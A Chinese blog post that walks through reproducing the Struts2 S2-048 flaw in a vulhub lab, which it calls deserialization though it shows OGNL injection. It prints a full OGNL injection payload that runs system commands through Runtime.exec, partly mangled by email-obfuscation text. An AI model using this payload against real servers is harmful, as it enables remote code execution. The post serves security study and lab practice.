struts2反序列化漏洞

Struts2是一個基於MVC設計模式(java)的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作爲控制器(Controller)來建立模型與視圖的數據交互。

實驗環境:vulhub中的struts

實驗步驟:

可利用struts2掃描工具掃描是否有該漏洞,輸入python3 Struts2Scan.py -u http://192.168.1.103:8080/index.action進行掃描

漏洞復現

1.在ubuntu中進入vulhub-master/struts2/s2-048目錄,並輸入docker-compose up -d啓動環境

2.訪問http://192.168.1.103:8080/showcase/管理界面,ip爲ubuntu的IP

3.選擇ntegration/Struts 1 Integration,即爲漏洞界面

4.在Gangster Name輸入代碼即可執行

例:輸入:%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

可查看其id,當然也可將id處填寫其他任意代碼執行

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章